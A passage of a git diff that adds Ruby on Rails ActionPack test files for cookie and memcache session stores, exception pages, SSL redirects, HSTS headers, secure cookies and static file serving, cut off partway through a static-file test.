+  def test_deserializes_unloaded_classes_on_get_id
+    with_test_route_set do
+      with_autoload_path "session_autoload_test" do
+        cookies[SessionKey] = SignedSerializedCookie
+        get "/get_session_id"
+        assert_response :success
+        assert_equal "id: ce8b0752a6ab7c7af3cdb8a80e6b9e46", response.body, "should auto-load unloaded class"
+      end
+    end
+  end
+
+  def test_deserializes_unloaded_classes_on_get_value
+    with_test_route_set do
+      with_autoload_path "session_autoload_test" do
+        cookies[SessionKey] = SignedSerializedCookie
+        get "/get_session_value"
+        assert_response :success
+        assert_equal 'foo: #<SessionAutoloadTest::Foo bar:"baz">', response.body, "should auto-load unloaded class"
+      end
+    end
+  end
+
+  def test_close_raises_when_data_overflows
+    with_test_route_set do
+      assert_raise(ActionDispatch::Cookies::CookieOverflow) {
+        get "/raise_data_overflow"
+      }
+    end
+  end
+
+  def test_doesnt_write_session_cookie_if_session_is_not_accessed
+    with_test_route_set do
+      get "/no_session_access"
+      assert_response :success
+      assert_nil headers["Set-Cookie"]
+    end
+  end
+
+  def test_doesnt_write_session_cookie_if_session_is_unchanged
+    with_test_route_set do
+      cookies[SessionKey] = "BAh7BjoIZm9vIghiYXI%3D--" \
+        "fef868465920f415f2c0652d6910d3af288a0367"
+      get "/no_session_access"
+      assert_response :success
+      assert_nil headers["Set-Cookie"]
+    end
+  end
+
+  def test_setting_session_value_after_session_reset
+    with_test_route_set do
+      get "/set_session_value"
+      assert_response :success
+      session_payload = response.body
+      assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
+        headers["Set-Cookie"]
+
+      get "/call_reset_session"
+      assert_response :success
+      assert_not_equal [], headers["Set-Cookie"]
+      assert_not_nil session_payload
+      assert_not_equal session_payload, cookies[SessionKey]
+
+      get "/get_session_value"
+      assert_response :success
+      assert_equal "foo: nil", response.body
+    end
+  end
+
+  def test_class_type_after_session_reset
+    with_test_route_set do
+      get "/set_session_value"
+      assert_response :success
+      assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
+        headers["Set-Cookie"]
+
+      get "/get_class_after_reset_session"
+      assert_response :success
+      assert_not_equal [], headers["Set-Cookie"]
+      assert_equal "class: ActionDispatch::Request::Session", response.body
+    end
+  end
+
+  def test_getting_from_nonexistent_session
+    with_test_route_set do
+      get "/get_session_value"
+      assert_response :success
+      assert_equal "foo: nil", response.body
+      assert_nil headers["Set-Cookie"], "should only create session on write, not read"
+    end
+  end
+
+  def test_setting_session_value_after_session_clear
+    with_test_route_set do
+      get "/set_session_value"
+      assert_response :success
+      assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
+        headers["Set-Cookie"]
+
+      get "/call_session_clear"
+      assert_response :success
+
+      get "/get_session_value"
+      assert_response :success
+      assert_equal "foo: nil", response.body
+    end
+  end
+
+  def test_persistent_session_id
+    with_test_route_set do
+      cookies[SessionKey] = SignedBar
+      get "/persistent_session_id"
+      assert_response :success
+      assert_equal 32, response.body.size
+      session_id = response.body
+      get "/persistent_session_id"
+      assert_equal session_id, response.body
+      reset!
+      get "/persistent_session_id"
+      assert_not_equal session_id, response.body
+    end
+  end
+
+  def test_setting_session_id_to_nil_is_respected
+    with_test_route_set do
+      cookies[SessionKey] = SignedBar
+
+      get "/get_session_id"
+      sid = response.body
+      assert_equal 36, sid.size
+
+      get "/change_session_id"
+      assert_not_equal sid, response.body
+    end
+  end
+
+  def test_session_store_with_expire_after
+    with_test_route_set(expire_after: 5.hours) do
+      # First request accesses the session
+      time = Time.local(2008, 4, 24)
+      cookie_body = nil
+
+      Time.stub :now, time do
+        expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d %b %Y %H:%M:%S -0000")
+
+        cookies[SessionKey] = SignedBar
+
+        get "/set_session_value"
+        assert_response :success
+
+        cookie_body = response.body
+        assert_equal "_myapp_session=#{cookie_body}; path=/; expires=#{expected_expiry}; HttpOnly",
+          headers["Set-Cookie"]
+      end
+
+      # Second request does not access the session
+      time = Time.local(2008, 4, 25)
+      Time.stub :now, time do
+        expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d %b %Y %H:%M:%S -0000")
+
+        get "/no_session_access"
+        assert_response :success
+
+        assert_equal "_myapp_session=#{cookie_body}; path=/; expires=#{expected_expiry}; HttpOnly",
+          headers["Set-Cookie"]
+      end
+    end
+  end
+
+  def test_session_store_with_explicit_domain
+    with_test_route_set(domain: "example.es") do
+      get "/set_session_value"
+      assert_match(/domain=example\.es/, headers["Set-Cookie"])
+      headers["Set-Cookie"]
+    end
+  end
+
+  def test_session_store_without_domain
+    with_test_route_set do
+      get "/set_session_value"
+      assert_no_match(/domain\=/, headers["Set-Cookie"])
+    end
+  end
+
+  def test_session_store_with_nil_domain
+    with_test_route_set(domain: nil) do
+      get "/set_session_value"
+      assert_no_match(/domain\=/, headers["Set-Cookie"])
+    end
+  end
+
+  def test_session_store_with_all_domains
+    with_test_route_set(domain: :all) do
+      get "/set_session_value"
+      assert_match(/domain=\.example\.com/, headers["Set-Cookie"])
+    end
+  end
+
+  private
+
+    # Overwrite get to send SessionSecret in env hash
+    def get(path, *args)
+      args[0] ||= {}
+      args[0][:headers] ||= {}
+      args[0][:headers]["action_dispatch.key_generator"] ||= Generator
+      super(path, *args)
+    end
+
+    def with_test_route_set(options = {})
+      with_routing do |set|
+        set.draw do
+          ActiveSupport::Deprecation.silence do
+            get ":action", to: ::CookieStoreTest::TestController
+          end
+        end
+
+        options = { key: SessionKey }.merge!(options)
+
+        @app = self.class.build_app(set) do |middleware|
+          middleware.use ActionDispatch::Session::CookieStore, options
+          middleware.delete ActionDispatch::ShowExceptions
+        end
+
+        yield
+      end
+    end
+end
diff --git a/actionpack/test/dispatch/session/mem_cache_store_test.rb b/actionpack/test/dispatch/session/mem_cache_store_test.rb
new file mode 100644
index 0000000000..9b51ee1cad
--- /dev/null
+++ b/actionpack/test/dispatch/session/mem_cache_store_test.rb
@@ -0,0 +1,205 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "securerandom"
+
+# You need to start a memcached server inorder to run these tests
+class MemCacheStoreTest < ActionDispatch::IntegrationTest
+  class TestController < ActionController::Base
+    def no_session_access
+      head :ok
+    end
+
+    def set_session_value
+      session[:foo] = "bar"
+      head :ok
+    end
+
+    def set_serialized_session_value
+      session[:foo] = SessionAutoloadTest::Foo.new
+      head :ok
+    end
+
+    def get_session_value
+      render plain: "foo: #{session[:foo].inspect}"
+    end
+
+    def get_session_id
+      render plain: "#{request.session.id}"
+    end
+
+    def call_reset_session
+      session[:bar]
+      reset_session
+      session[:bar] = "baz"
+      head :ok
+    end
+  end
+
+  begin
+    require "dalli"
+    ss = Dalli::Client.new("localhost:11211").stats
+    raise Dalli::DalliError unless ss["localhost:11211"]
+
+    def test_setting_and_getting_session_value
+      with_test_route_set do
+        get "/set_session_value"
+        assert_response :success
+        assert cookies["_session_id"]
+
+        get "/get_session_value"
+        assert_response :success
+        assert_equal 'foo: "bar"', response.body
+      end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
+    end
+
+    def test_getting_nil_session_value
+      with_test_route_set do
+        get "/get_session_value"
+        assert_response :success
+        assert_equal "foo: nil", response.body
+      end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
+    end
+
+    def test_getting_session_value_after_session_reset
+      with_test_route_set do
+        get "/set_session_value"
+        assert_response :success
+        assert cookies["_session_id"]
+        session_cookie = cookies.send(:hash_for)["_session_id"]
+
+        get "/call_reset_session"
+        assert_response :success
+        assert_not_equal [], headers["Set-Cookie"]
+
+        cookies << session_cookie # replace our new session_id with our old, pre-reset session_id
+
+        get "/get_session_value"
+        assert_response :success
+        assert_equal "foo: nil", response.body, "data for this session should have been obliterated from memcached"
+      end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
+    end
+
+    def test_getting_from_nonexistent_session
+      with_test_route_set do
+        get "/get_session_value"
+        assert_response :success
+        assert_equal "foo: nil", response.body
+        assert_nil cookies["_session_id"], "should only create session on write, not read"
+      end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
+    end
+
+    def test_setting_session_value_after_session_reset
+      with_test_route_set do
+        get "/set_session_value"
+        assert_response :success
+        assert cookies["_session_id"]
+        session_id = cookies["_session_id"]
+
+        get "/call_reset_session"
+        assert_response :success
+        assert_not_equal [], headers["Set-Cookie"]
+
+        get "/get_session_value"
+        assert_response :success
+        assert_equal "foo: nil", response.body
+
+        get "/get_session_id"
+        assert_response :success
+        assert_not_equal session_id, response.body
+      end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
+    end
+
+    def test_getting_session_id
+      with_test_route_set do
+        get "/set_session_value"
+        assert_response :success
+        assert cookies["_session_id"]
+        session_id = cookies["_session_id"]
+
+        get "/get_session_id"
+        assert_response :success
+        assert_equal session_id, response.body, "should be able to read session id without accessing the session hash"
+      end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
+    end
+
+    def test_deserializes_unloaded_class
+      with_test_route_set do
+        with_autoload_path "session_autoload_test" do
+          get "/set_serialized_session_value"
+          assert_response :success
+          assert cookies["_session_id"]
+        end
+        with_autoload_path "session_autoload_test" do
+          get "/get_session_id"
+          assert_response :success
+        end
+      end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
+    end
+
+    def test_doesnt_write_session_cookie_if_session_id_is_already_exists
+      with_test_route_set do
+        get "/set_session_value"
+        assert_response :success
+        assert cookies["_session_id"]
+
+        get "/get_session_value"
+        assert_response :success
+        assert_nil headers["Set-Cookie"], "should not resend the cookie again if session_id cookie is already exists"
+      end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
+    end
+
+    def test_prevents_session_fixation
+      with_test_route_set do
+        get "/get_session_value"
+        assert_response :success
+        assert_equal "foo: nil", response.body
+        session_id = cookies["_session_id"]
+
+        reset!
+
+        get "/set_session_value", params: { _session_id: session_id }
+        assert_response :success
+        assert_not_equal session_id, cookies["_session_id"]
+      end
+    rescue Dalli::RingError => ex
+      skip ex.message, ex.backtrace
+    end
+  rescue LoadError, RuntimeError, Dalli::DalliError
+    $stderr.puts "Skipping MemCacheStoreTest tests. Start memcached and try again."
+  end
+
+  private
+    def with_test_route_set
+      with_routing do |set|
+        set.draw do
+          ActiveSupport::Deprecation.silence do
+            get ":action", to: ::MemCacheStoreTest::TestController
+          end
+        end
+
+        @app = self.class.build_app(set) do |middleware|
+          middleware.use ActionDispatch::Session::MemCacheStore, key: "_session_id", namespace: "mem_cache_store_test:#{SecureRandom.hex(10)}"
+          middleware.delete ActionDispatch::ShowExceptions
+        end
+
+        yield
+      end
+    end
+end
diff --git a/actionpack/test/dispatch/session/test_session_test.rb b/actionpack/test/dispatch/session/test_session_test.rb
new file mode 100644
index 0000000000..e90162a5fe
--- /dev/null
+++ b/actionpack/test/dispatch/session/test_session_test.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "stringio"
+
+class ActionController::TestSessionTest < ActiveSupport::TestCase
+  def test_initialize_with_values
+    session = ActionController::TestSession.new(one: "one", two: "two")
+    assert_equal("one", session[:one])
+    assert_equal("two", session[:two])
+  end
+
+  def test_setting_session_item_sets_item
+    session = ActionController::TestSession.new
+    session[:key] = "value"
+    assert_equal("value", session[:key])
+  end
+
+  def test_calling_delete_removes_item_and_returns_its_value
+    session = ActionController::TestSession.new
+    session[:key] = "value"
+    assert_equal("value", session[:key])
+    assert_equal("value", session.delete(:key))
+    assert_nil(session[:key])
+  end
+
+  def test_calling_update_with_params_passes_to_attributes
+    session = ActionController::TestSession.new
+    session.update("key" => "value")
+    assert_equal("value", session[:key])
+  end
+
+  def test_clear_empties_session
+    session = ActionController::TestSession.new(one: "one", two: "two")
+    session.clear
+    assert_nil(session[:one])
+    assert_nil(session[:two])
+  end
+
+  def test_keys_and_values
+    session = ActionController::TestSession.new(one: "1", two: "2")
+    assert_equal %w(one two), session.keys
+    assert_equal %w(1 2), session.values
+  end
+
+  def test_fetch_returns_default
+    session = ActionController::TestSession.new(one: "1")
+    assert_equal("2", session.fetch(:two, "2"))
+  end
+
+  def test_fetch_on_symbol_returns_value
+    session = ActionController::TestSession.new(one: "1")
+    assert_equal("1", session.fetch(:one))
+  end
+
+  def test_fetch_on_string_returns_value
+    session = ActionController::TestSession.new(one: "1")
+    assert_equal("1", session.fetch("one"))
+  end
+
+  def test_fetch_returns_block_value
+    session = ActionController::TestSession.new(one: "1")
+    assert_equal(2, session.fetch("2") { |key| key.to_i })
+  end
+end
diff --git a/actionpack/test/dispatch/show_exceptions_test.rb b/actionpack/test/dispatch/show_exceptions_test.rb
new file mode 100644
index 0000000000..b69071b44b
--- /dev/null
+++ b/actionpack/test/dispatch/show_exceptions_test.rb
@@ -0,0 +1,138 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ShowExceptionsTest < ActionDispatch::IntegrationTest
+  class Boomer
+    def call(env)
+      req = ActionDispatch::Request.new(env)
+      case req.path
+      when "/not_found"
+        raise AbstractController::ActionNotFound
+      when "/bad_params", "/bad_params.json"
+        begin
+          raise StandardError.new
+        rescue
+          raise ActionDispatch::Http::Parameters::ParseError
+        end
+      when "/method_not_allowed"
+        raise ActionController::MethodNotAllowed, "PUT"
+      when "/unknown_http_method"
+        raise ActionController::UnknownHttpMethod
+      when "/not_found_original_exception"
+        begin
+          raise AbstractController::ActionNotFound.new
+        rescue
+          raise ActionView::Template::Error.new("template")
+        end
+      else
+        raise "puke!"
+      end
+    end
+  end
+
+  ProductionApp = ActionDispatch::ShowExceptions.new(Boomer.new, ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public"))
+
+  test "skip exceptions app if not showing exceptions" do
+    @app = ProductionApp
+    assert_raise RuntimeError do
+      get "/", headers: { "action_dispatch.show_exceptions" => false }
+    end
+  end
+
+  test "rescue with error page" do
+    @app = ProductionApp
+
+    get "/", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 500
+    assert_equal "500 error fixture\n", body
+
+    get "/bad_params", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 400
+    assert_equal "400 error fixture\n", body
+
+    get "/not_found", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 404
+    assert_equal "404 error fixture\n", body
+
+    get "/method_not_allowed", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 405
+    assert_equal "", body
+
+    get "/unknown_http_method", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 405
+    assert_equal "", body
+  end
+
+  test "localize rescue error page" do
+    old_locale, I18n.locale = I18n.locale, :da
+
+    begin
+      @app = ProductionApp
+
+      get "/", headers: { "action_dispatch.show_exceptions" => true }
+      assert_response 500
+      assert_equal "500 localized error fixture\n", body
+
+      get "/not_found", headers: { "action_dispatch.show_exceptions" => true }
+      assert_response 404
+      assert_equal "404 error fixture\n", body
+    ensure
+      I18n.locale = old_locale
+    end
+  end
+
+  test "sets the HTTP charset parameter" do
+    @app = ProductionApp
+
+    get "/", headers: { "action_dispatch.show_exceptions" => true }
+    assert_equal "text/html; charset=utf-8", response.headers["Content-Type"]
+  end
+
+  test "show registered original exception for wrapped exceptions" do
+    @app = ProductionApp
+
+    get "/not_found_original_exception", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 404
+    assert_match(/404 error/, body)
+  end
+
+  test "calls custom exceptions app" do
+    exceptions_app = lambda do |env|
+      assert_kind_of AbstractController::ActionNotFound, env["action_dispatch.exception"]
+      assert_equal "/404", env["PATH_INFO"]
+      assert_equal "/not_found_original_exception", env["action_dispatch.original_path"]
+      [404, { "Content-Type" => "text/plain" }, ["YOU FAILED"]]
+    end
+
+    @app = ActionDispatch::ShowExceptions.new(Boomer.new, exceptions_app)
+    get "/not_found_original_exception", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 404
+    assert_equal "YOU FAILED", body
+  end
+
+  test "returns an empty response if custom exceptions app returns X-Cascade pass" do
+    exceptions_app = lambda do |env|
+      [404, { "X-Cascade" => "pass" }, []]
+    end
+
+    @app = ActionDispatch::ShowExceptions.new(Boomer.new, exceptions_app)
+    get "/method_not_allowed", headers: { "action_dispatch.show_exceptions" => true }
+    assert_response 405
+    assert_equal "", body
+  end
+
+  test "bad params exception is returned in the correct format" do
+    @app = ProductionApp
+
+    get "/bad_params", headers: { "action_dispatch.show_exceptions" => true }
+    assert_equal "text/html; charset=utf-8", response.headers["Content-Type"]
+    assert_response 400
+    assert_match(/400 error/, body)
+
+    get "/bad_params.json", headers: { "action_dispatch.show_exceptions" => true }
+    assert_equal "application/json; charset=utf-8", response.headers["Content-Type"]
+    assert_response 400
+    assert_equal("{\"status\":400,\"error\":\"Bad Request\"}", body)
+  end
+end
diff --git a/actionpack/test/dispatch/ssl_test.rb b/actionpack/test/dispatch/ssl_test.rb
new file mode 100644
index 0000000000..8ac9502af9
--- /dev/null
+++ b/actionpack/test/dispatch/ssl_test.rb
@@ -0,0 +1,220 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class SSLTest < ActionDispatch::IntegrationTest
+  HEADERS = Rack::Utils::HeaderHash.new "Content-Type" => "text/html"
+
+  attr_accessor :app
+
+  def build_app(headers: {}, ssl_options: {})
+    headers = HEADERS.merge(headers)
+    ActionDispatch::SSL.new lambda { |env| [200, headers, []] }, ssl_options.reverse_merge(hsts: { subdomains: true })
+  end
+end
+
+class RedirectSSLTest < SSLTest
+  def assert_not_redirected(url, headers: {}, redirect: {})
+    self.app = build_app ssl_options: { redirect: redirect }
+    get url, headers: headers
+    assert_response :ok
+  end
+
+  def assert_redirected(redirect: {}, from: "http://a/b?c=d", to: from.sub("http", "https"))
+    redirect = { status: 301, body: [] }.merge(redirect)
+
+    self.app = build_app ssl_options: { redirect: redirect }
+
+    get from
+    assert_response redirect[:status] || 301
+    assert_redirected_to to
+    assert_equal redirect[:body].join, @response.body
+  end
+
+  def assert_post_redirected(redirect: {}, from: "http://a/b?c=d",
+    to: from.sub("http", "https"))
+
+    self.app = build_app ssl_options: { redirect: redirect }
+
+    post from
+    assert_response redirect[:status] || 307
+    assert_redirected_to to
+  end
+
+  test "exclude can avoid redirect" do
+    excluding = { exclude: -> request { request.path =~ /healthcheck/ } }
+
+    assert_not_redirected "http://example.org/healthcheck", redirect: excluding
+    assert_redirected from: "http://example.org/", redirect: excluding
+  end
+
+  test "https is not redirected" do
+    assert_not_redirected "https://example.org"
+  end
+
+  test "proxied https is not redirected" do
+    assert_not_redirected "http://example.org", headers: { "HTTP_X_FORWARDED_PROTO" => "https" }
+  end
+
+  test "http is redirected to https" do
+    assert_redirected
+  end
+
+  test "http POST is redirected to https with status 307" do
+    assert_post_redirected
+  end
+
+  test "redirect with non-301 status" do
+    assert_redirected redirect: { status: 307 }
+  end
+
+  test "redirect with custom body" do
+    assert_redirected redirect: { body: ["foo"] }
+  end
+
+  test "redirect to specific host" do
+    assert_redirected redirect: { host: "ssl" }, to: "https://ssl/b?c=d"
+  end
+
+  test "redirect to default port" do
+    assert_redirected redirect: { port: 443 }
+  end
+
+  test "redirect to non-default port" do
+    assert_redirected redirect: { port: 8443 }, to: "https://a:8443/b?c=d"
+  end
+
+  test "redirect to different host and non-default port" do
+    assert_redirected redirect: { host: "ssl", port: 8443 }, to: "https://ssl:8443/b?c=d"
+  end
+
+  test "redirect to different host including port" do
+    assert_redirected redirect: { host: "ssl:443" }, to: "https://ssl:443/b?c=d"
+  end
+
+  test "no redirect with redirect set to false" do
+    assert_not_redirected "http://example.org", redirect: false
+  end
+end
+
+class StrictTransportSecurityTest < SSLTest
+  EXPECTED = "max-age=15552000"
+  EXPECTED_WITH_SUBDOMAINS = "max-age=15552000; includeSubDomains"
+
+  def assert_hsts(expected, url: "https://example.org", hsts: { subdomains: true }, headers: {})
+    self.app = build_app ssl_options: { hsts: hsts }, headers: headers
+    get url
+    if expected.nil?
+      assert_nil response.headers["Strict-Transport-Security"]
+    else
+      assert_equal expected, response.headers["Strict-Transport-Security"]
+    end
+  end
+
+  test "enabled by default" do
+    assert_hsts EXPECTED_WITH_SUBDOMAINS
+  end
+
+  test "not sent with http:// responses" do
+    assert_hsts nil, url: "http://example.org"
+  end
+
+  test "defers to app-provided header" do
+    assert_hsts "app-provided", headers: { "Strict-Transport-Security" => "app-provided" }
+  end
+
+  test "hsts: true enables default settings" do
+    assert_hsts EXPECTED_WITH_SUBDOMAINS, hsts: true
+  end
+
+  test "hsts: false sets max-age to zero, clearing browser HSTS settings" do
+    assert_hsts "max-age=0; includeSubDomains", hsts: false
+  end
+
+  test ":expires sets max-age" do
+    assert_hsts "max-age=500; includeSubDomains", hsts: { expires: 500 }
+  end
+
+  test ":expires supports AS::Duration arguments" do
+    assert_hsts "max-age=31556952; includeSubDomains", hsts: { expires: 1.year }
+  end
+
+  test "include subdomains" do
+    assert_hsts "#{EXPECTED}; includeSubDomains", hsts: { subdomains: true }
+  end
+
+  test "exclude subdomains" do
+    assert_hsts EXPECTED, hsts: { subdomains: false }
+  end
+
+  test "opt in to browser preload lists" do
+    assert_hsts "#{EXPECTED_WITH_SUBDOMAINS}; preload", hsts: { preload: true }
+  end
+
+  test "opt out of browser preload lists" do
+    assert_hsts EXPECTED_WITH_SUBDOMAINS, hsts: { preload: false }
+  end
+end
+
+class SecureCookiesTest < SSLTest
+  DEFAULT = %(id=1; path=/\ntoken=abc; path=/; secure; HttpOnly)
+
+  def get(**options)
+    self.app = build_app(**options)
+    super "https://example.org"
+  end
+
+  def assert_cookies(*expected)
+    assert_equal expected, response.headers["Set-Cookie"].split("\n")
+  end
+
+  def test_flag_cookies_as_secure
+    get headers: { "Set-Cookie" => DEFAULT }
+    assert_cookies "id=1; path=/; secure", "token=abc; path=/; secure; HttpOnly"
+  end
+
+  def test_flag_cookies_as_secure_at_end_of_line
+    get headers: { "Set-Cookie" => "problem=def; path=/; HttpOnly; secure" }
+    assert_cookies "problem=def; path=/; HttpOnly; secure"
+  end
+
+  def test_flag_cookies_as_secure_with_more_spaces_before
+    get headers: { "Set-Cookie" => "problem=def; path=/; HttpOnly;  secure" }
+    assert_cookies "problem=def; path=/; HttpOnly;  secure"
+  end
+
+  def test_flag_cookies_as_secure_with_more_spaces_after
+    get headers: { "Set-Cookie" => "problem=def; path=/; secure;  HttpOnly" }
+    assert_cookies "problem=def; path=/; secure;  HttpOnly"
+  end
+
+  def test_flag_cookies_as_secure_with_has_not_spaces_before
+    get headers: { "Set-Cookie" => "problem=def; path=/;secure; HttpOnly" }
+    assert_cookies "problem=def; path=/;secure; HttpOnly"
+  end
+
+  def test_flag_cookies_as_secure_with_has_not_spaces_after
+    get headers: { "Set-Cookie" => "problem=def; path=/; secure;HttpOnly" }
+    assert_cookies "problem=def; path=/; secure;HttpOnly"
+  end
+
+  def test_flag_cookies_as_secure_with_ignore_case
+    get headers: { "Set-Cookie" => "problem=def; path=/; Secure; HttpOnly" }
+    assert_cookies "problem=def; path=/; Secure; HttpOnly"
+  end
+
+  def test_cookies_as_not_secure_with_secure_cookies_disabled
+    get headers: { "Set-Cookie" => DEFAULT }, ssl_options: { secure_cookies: false }
+    assert_cookies(*DEFAULT.split("\n"))
+  end
+
+  def test_no_cookies
+    get
+    assert_nil response.headers["Set-Cookie"]
+  end
+
+  def test_keeps_original_headers_behavior
+    get headers: { "Connection" => %w[close] }
+    assert_equal "close", response.headers["Connection"]
+  end
+end
diff --git a/actionpack/test/dispatch/static_test.rb b/actionpack/test/dispatch/static_test.rb
new file mode 100644
index 0000000000..0bdff68692
--- /dev/null
+++ b/actionpack/test/dispatch/static_test.rb
@@ -0,0 +1,309 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "zlib"
+
+module StaticTests
+  DummyApp = lambda { |env|
+    [200, { "Content-Type" => "text/plain" }, ["Hello, World!"]]
+  }
+
+  def setup
+    silence_warnings do
+      @default_internal_encoding = Encoding.default_internal
+      @default_external_encoding = Encoding.default_external
+    end
+  end
+
+  def teardown
+    silence_warnings do
+      Encoding.default_internal = @default_internal_encoding
+      Encoding.default_external = @default_external_encoding
+    end
+  end
+
+  def test_serves_dynamic_content
+    assert_equal "Hello, World!", get("/nofile").body
+  end
+
+  def test_handles_urls_with_bad_encoding
+    assert_equal "Hello, World!", get("/doorkeeper%E3E4").body
+  end
+
+  def test_handles_urls_with_ascii_8bit
+    assert_equal "Hello, World!", get("/doorkeeper%E3E4".dup.force_encoding("ASCII-8BIT")).body
+  end
+
+  def test_handles_urls_with_ascii_8bit_on_win_31j
+    silence_warnings do
+      Encoding.default_internal = "Windows-31J"
+      Encoding.default_external = "Windows-31J"
+    end
+    assert_equal "Hello, World!", get("/doorkeeper%E3E4".dup.force_encoding("ASCII-8BIT")).body
+  end
+
+  def test_handles_urls_with_null_byte
+    assert_equal "Hello, World!", get("/doorkeeper%00").body
+  end
+
+  def test_serves_static_index_at_root
+    assert_html "/index.html", get("/index.html")
+    assert_html "/index.html", get("/index")
+    assert_html "/index.html", get("/")
+    assert_html "/index.html", get("")
+  end
+
+  def test_serves_static_file_in_directory
+    assert_html "/foo/bar.html", get("/foo/bar.html")
+    assert_html "/foo/bar.html", get("/foo/bar/")
+    assert_html "/foo/bar.html", get("/foo/bar")
+  end
+
+  def test_serves_static_index_file_in_directory
+    assert_html "/foo/index.html", get("/foo/index.html")
+    assert_html "/foo/index.html", get("/foo/index")
+    assert_html "/foo/index.html", get("/foo/")
+    assert_html "/foo/index.html", get("/foo")
+  end
+
+  def test_serves_file_with_same_name_before_index_in_directory
+    assert_html "/bar.html", get("/bar")
+  end
+
+  def test_served_static_file_with_non_english_filename
+    assert_html "means hello in Japanese\n", get("/foo/#{Rack::Utils.escape("こんにちは.html")}")
+  end
+
+  def test_serves_static_file_with_exclamation_mark_in_filename
+    with_static_file "/foo/foo!bar.html" do |file|
+      assert_html file, get("/foo/foo%21bar.html")
+      assert_html file, get("/foo/foo!bar.html")
+    end
+  end
+
+  def test_serves_static_file_with_dollar_sign_in_filename
+    with_static_file "/foo/foo$bar.html" do |file|
+      assert_html file, get("/foo/foo%24bar.html")
+      assert_html file, get("/foo/foo$bar.html")
+    end
+  end
+
+  def test_serves_static_file_with_ampersand_in_filename
+    with_static_file "/foo/foo&bar.html" do |file|
+      assert_html file, get("/foo/foo%26bar.html")
+      assert_html file, get("/foo/foo&bar.html")
+    end
+  end
+
+  def test_serves_static_file_with_apostrophe_in_filename
+    with_static_file "/foo/foo'bar.html" do |file|
+      assert_html file, get("/foo/foo%27bar.html")
+      assert_html file, get("/foo/foo'bar.html")
+    end
+  end
+
+  def test_serves_static_file_with_parentheses_in_filename
+    with_static_file "/foo/foo(bar).html" do |file|
+      assert_html file, get("/foo/foo%28bar%29.html")
+      assert_html file, get("/foo/foo(bar).html")
+    end
+  end
+
+  def test_serves_static_file_with_plus_sign_in_filename
+    with_static_file "/foo/foo+bar.html" do |file|
+      assert_html file, get("/foo/foo%2Bbar.html")
+      assert_html file, get("/foo/foo+bar.html")
+    end
+  end
+
+  def test_serves_static_file_with_comma_in_filename
+    with_static_file "/foo/foo,bar.html" do |file|
+      assert_html file, get("/foo/foo%2Cbar.html")
+      assert_html file, get("/foo/foo,bar.html")
+    end
+  end
+
+  def test_serves_static_file_with_semi_colon_in_filename
+    with_static_file "/foo/foo;bar.html" do |file|
+      assert_html file, get("/foo/foo%3Bbar.html")
+      assert_html file, get("/foo/foo;bar.html")
+    end
+  end
+
+  def test_serves_static_file_with_at_symbol_in_filename
+    with_static_file "/foo/foo@bar.html" do |file|
+      assert_html file, get("/foo/foo%40bar.html")
+      assert_html file, get("/foo/foo@bar.html")
+    end
+  end
+
+  def test_serves_gzip_files_when_header_set
+    file_name = "/gzip/application-a71b3024f80aea3181c09774ca17e712.js"
+    response  = get(file_name, "HTTP_ACCEPT_ENCODING" => "gzip")
+    assert_gzip  file_name, response
+    assert_equal "application/javascript", response.headers["Content-Type"]
+    assert_equal "Accept-Encoding",        response.headers["Vary"]
+    assert_equal "gzip",                   response.headers["Content-Encoding"]
+
+    response = get(file_name, "HTTP_ACCEPT_ENCODING" => "Gzip")
+    assert_gzip file_name, response
+
+    response = get(file_name, "HTTP_ACCEPT_ENCODING" => "GZIP")
+    assert_gzip file_name, response
+
+    response = get(file_name, "HTTP_ACCEPT_ENCODING" => "compress;q=0.5, gzip;q=1.0")
+    assert_gzip file_name, response
+
+    response = get(file_name, "HTTP_ACCEPT_ENCODING" => "")
+    assert_not_equal "gzip", response.headers["Content-Encoding"]
+  end
+
+  def test_does_not_modify_path_info
+    file_name = "/gzip/application-a71b3024f80aea3181c09774ca17e712.js"
+    env = { "PATH_INFO" => file_name, "HTTP_ACCEPT_ENCODING" => "gzip", "REQUEST_METHOD" => "POST" }
+    @app.call(env)
+    assert_equal file_name, env["PATH_INFO"]
+  end
+
+  def test_serves_gzip_with_proper_content_type_fallback
+    file_name = "/gzip/foo.zoo"
+    response  = get(file_name, "HTTP_ACCEPT_ENCODING" => "gzip")
+    assert_gzip file_name, response
+
+    default_response = get(file_name) # no gzip
+    assert_equal default_response.headers["Content-Type"], response.headers["Content-Type"]
+  end
+
+  def test_serves_gzip_files_with_not_modified
+    file_name = "/gzip/application-a71b3024f80aea3181c09774ca17e712.js"
+    last_modified = File.mtime(File.join(@root, "#{file_name}.gz"))
+    response = get(file_name, "HTTP_ACCEPT_ENCODING" => "gzip", "HTTP_IF_MODIFIED_SINCE" => last_modified.httpdate)
+    assert_equal 304, response.status
+    assert_nil response.headers["Content-Type"]
+    assert_nil response.headers["Content-Encoding"]
+    assert_nil response.headers["Vary"]
+  end
+
+  def test_serves_files_with_headers
+    headers = {
+      "Access-Control-Allow-Origin" => "http://rubyonrails.org",
+      "Cache-Control"               => "public, max-age=60",
